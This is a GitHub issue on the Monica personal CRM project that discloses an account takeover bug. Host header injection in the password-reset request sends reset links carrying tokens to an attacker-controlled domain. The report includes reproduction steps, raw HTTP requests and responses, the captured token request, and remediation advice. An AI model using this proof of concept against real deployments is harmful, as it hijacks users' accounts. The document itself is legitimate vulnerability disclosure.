monicahq / monica

Personal CRM. Remember everything about your friends, family and business relationships.
https://beta.monicahq.com
GNU Affero General Public License v3.0
21.65k stars 2.16k forks source link

Account Takeover via Host Header injection #7154

Open r4q1 opened 8 months ago

r4q1 commented 8 months ago

⚠️ This issue respects the following points: ⚠️

Bug description

The application's forgot password functionality is vulnerable to Host header injection. This vulnerability allows an attacker to manipulate the Host header in HTTP requests during the password reset process, leading to account takeover.

Steps to reproduce

1- Open reset link https://<.monica address>/forgot-password 2- Enter the victim's email address and click "Email Password Reset Link" 3- Intercept the HTTP request in Burp Suite and replace Host header with your collaborator domain. (This is NOT Man-in-the-middle attack)

The request

POST /forgot-password HTTP/1.1
Host: <colllabrator domain> -- host header injection happened here
Accept: text/html, application/xhtml+xml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
X-Inertia: true
X-Inertia-Version: 3def4e8b3b3d40d7cd4d21785b01b89685
X-XSRF-TOKEN: eyJpdiI6Im0weGhzQ1RkOU9NaGZVN05RcGxuqcGc9PSIsInZhbHVlIjoianVCR3o2cm9GqdVNWZ1FxM3VkckVXeTByWWVsU3JmK0VhdThXV01DS0VQYXE5sdasddGJndTk3VlhYRkNpb2EzUlBXcmpDcm5siOWJha2lyUHhCQ21rUVRBNGpsb2VqZkqpIWEh2TU1qcDRRWW9PUmdFSkdSUHRXTDYwY3IxcHhtK0IxRi8iLCJtYWMiOiI2NDBkZjUwNzU1YWMyMWFiNTsMyNTkwOTUwNzcwNzUyYmYxODIq5NGYxNTZhMzY4YzQ2NzY0ZjYwYWU1MTNlMTYwIiwidGFnIjoiIn0=
Content-Length: 38
Origin: http://localhost:8007
Connection: close
Referer: http://localhost:8007/forgot-password
Cookie: ghost-members-ssr=test@test.com; ghost-members-ssr.sig=GOTe2XJ9dZ4mw-5Jqxzip3hAUSw; locale=eyJpdiI6IktwcHhuQTZBL0NlV05qMk5OL2taMlE9PSIsInZhbHVlIjoiMnducGNobTdtVlZuR0VnOUJuUmtwanU0Zm5hRkpUTWRobzEyNDM5aVp0eqnNPUi9PanVZOFlYcnB4anqRCMGQrRiIsIm1hYyI6IjVkYWMwYWQ5MDE3OGNkYTE5NWVjNDdjMjU3OTNjMTFlYjg5NTkwYmEzZmFhNzFiMjE5OGI0Zjk2ZmI1NqmZlMTgiLCJ0YWciOiIifQ%3D%3D; XSRF-TOKEN=eyJpdiI6Im0weGhzQ1RkOU9NaGsZVN05RcGxucGc9PSIsInZhbHVlqIjoianVCR3o2cm9GdVNWZ1FxM3VkckVXeTByWWVsU3JmK0VhdThXV01DS0VQYXE5dGJndTk3VlhYqRkNpb2EzUlBXcmpDcm5iOWJha2lyUHhCQ21rUVRBNGpsb2VqZkpIWEh2TU1qcDRRWW9PUmdFSkdSUHRXTDYwY3IxcHhtK0IxRi8iLCJstYWMiOiI2NDBkZjUwNzUq1YWMyMWFiNTMyNTkwOTUwNzcwNzUyYmYxODI5NGYxNTZhMzY4YzQq2NzY0ZjYwYWU1MTNlMTYwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IldMREgzWkpYOGpNVqHM4Wldzanljanc9PSIsInZhbHVlIjoidkt6aUEwNVhZsbDBwd0IvT01malc3WTlLSkFqZERNZ09neUJEdkp3OXZ6eqUtocFdmcmNxK3ZJbsUllMmI3b081dE5NQVF0R3NwMjEs3bUtiVGtibTBXeEZZVjhMMzc1N1N5Y00rRmhyRnlCSTc1bW9PcWNDbDFsL1ovUXM3Z3hjZlMiLCJtYWMiOiIwYTZiZmMxMDhjMWEzZmUwZWFiMGFiNTVjODE3NWY5YzRmZTJhMjI4NjdlYTViNzBlNGE5ZTEzYWRjNmJiNzsk5IiwidGFnIjoiIn0%3D; monica_session=eyJpdiI6InR3dzBQenNPNkhRMm5wUVptazBoUnc9PSIsInZhbHVlIjoiOS8vSUtKN2l5YqTJPQ3JWQy8wd2MwNmhzQUtUSjlXeVlqyc0FjMERFUWZYendYsek5kMUp5NlhHdlZnNXlINHJLOGdtdDJDNjR4Mkc4c01rYU5KY05qScDBsUVpCdXpUdmkzUWF4NksyWGpBanp2SUpJUFpxam5ac2NXbmxQL2FPSVIiLCJtYWMiOiJkYmsNiYzYyZDhmM2U0NGIyMjExM2FkZDIzNTY5OWQ4MDA0ZGYyNmYzqNzc0ODkyMjc5ODFmYWI0MGRlNmM1ZjM3IiwidGFnIjoiIn0%3D

{"email":"<victims email address>"}

The response

HTTP/1.1 302 Found
Date: Sun, 11 Feb 2024 17:22:58 GMT
Server: Apache/2.4.57 (Debian)
X-Powered-By: PHP/8.2.14
Cache-Control: no-cache, private
Location: http://localhost:8007/forgot-password
Vary: X-Inertia
Set-Cookie: XSRF-TOKEN=eyJpdiI6Ii9aaDZ4TlkyLzVBdXFNVnhZMUErcnc9PSIsInZhbHVlIjoiOWFLdWZROEhOZmlKVVprU3lRxSm9WSTFvadTNKVy9tMVZmb1IzemVhTUtnaDNVeDJFOxXJGsNndjSmFDd3FlOGJLbUpd5elM1dU0va2JoRWxsSzZSZfHJaWdGRkNVhZelB6bnYwaXZaUW9pbjBrZUNxMTBWWUtWVxGJ5NXovbTEzM05WVlQiLCJtYWMiOiI1ZDBmxZjM3MWE3ZTliZGViYWQ0YjI1ZzTFmYzFmZTRhZWE4NmIzODY0ZjBiZWFlNzJmOTdkxYmU3YWMyZDUwOTczIiwidGFnIjoiIn0%3D; expires=Sun, 11 Feb 2024 19:23:07 GMT; Max-Age=7200; path=/; samesite=lax
Set-Cookie: monica_session=eyJpdiI6IxmNZRzlHbTZNZTB4Sx2ZkZTlBMmJuN0E9PSIsInZhbHVlIjoiUUkyejV3a1p1UG44ZnlrT2pZU1JYR2FkK0d5N2xDRm9FeDd6cDQ5MWgvTE43OEdjMmdHdmcweUovTjBIc0hmY3VvxSWJRbHJsMGxYRm1Rb2tnTjd0cHNIM3p0SXU4SnkxNEtZeldTU2U4eDZ1Rmg0d0JkS2xI1U0dvZ2RNNGR5NzQiLCJtYxWMiOiJkYmExMWYwMGFjZGFjYzFiMTViOWZkN2NlM2FkYzYxMzgwODNkODRmMjk5MWJmNmU4OWMyMDg1YWI3ODI4YzRlIiwidGFnIjoiIn0%3D; expires=Sun, 11 Feb 2024 19:23:07 GMT; Max-Age=7200; path=/; httponly; samesite=lax
Set-Cookie: locale=eyJpdiI6IkFNUzA5OdTljVE1BUlU4T3ZCUWdkUncx9PSIsInZhbHVlIjoiM204AM0dCRTNuKzI4OW1hSmMydWRQcWlySWdrRms0V0U1clFqaxWdUaWzVaUzFCdHlsxZlowSzhzeXREMUtKazg0ZCIsIm1hYyI6IjE3YmY3NDRiOWIyYmYxZWRkOTY2YjQ3YThhODUyMDJlZjdkMDc0ZjZjNjYwZxDUwYWUxOTQyMTA5NjFjNTMxMTQiLCJ0YWciOiIifQ%3D%3D; expires=Mon, 10 Feb 2025 17:22:58 GMT; Max-Age=31535991; path=/; httponly; samesite=lax
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 394

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8" />
        <meta http-equiv="refresh" content="0;url='http://localhost:8007/forgot-password'" />

        <title>Redirecting to http://localhost:8007/forgot-password</title>
    </head>
    <body>
        Redirecting to <a href="http://localhost:8007/forgot-password">http://localhost:8007/forgot-password</a>.
    </body>
</html>

The password reset email that we send to victim

image

The DNS and HTTP request received on burp

image

The HTTP request that we received on burp

GET /reset-password/013483a7718ceec195147b2884cb9488dcec4ce67e99f72bbd3e66dbe89ed9fc?email=<victims email> HTTP/2.0
Host: <colllabrator domain>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not A(Brand";v="99", "Google Chrome";v="121", "Chromium";v="121"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36

Expected behavior

Normally you should require the current domain to be manually specified in a configuration file and refer to this value instead of the Host header.

Issue remediation

Validate the Host header If you must use the Host header, make sure you validate it properly. This should involve checking it against a whitelist of permitted domains and rejecting or redirecting any requests for unrecognized hosts. You should consult the documentation of your framework for guidance on how to do this.

Don't support Host override headers It is also important to check that you do not support additional headers that may be used to construct these attacks, in particular X-Forwarded-Host. Remember that these may be supported by default.

Environment

Your own self-hosted instance (monica v4)

Version of Monica

4 (probably other versions are affected too)

Installation method

Docker image

Web server

Apache

Database engine version

SQlite

Additional info

Platform Info

Apache version: Apache/2.4.57 PHP version: PHP/8.2.14

KiDxS commented 5 months ago

Hi @asbiin

Can I work on this issue?

asbiin commented 5 months ago

Can I work on this issue?

Yes of course 👍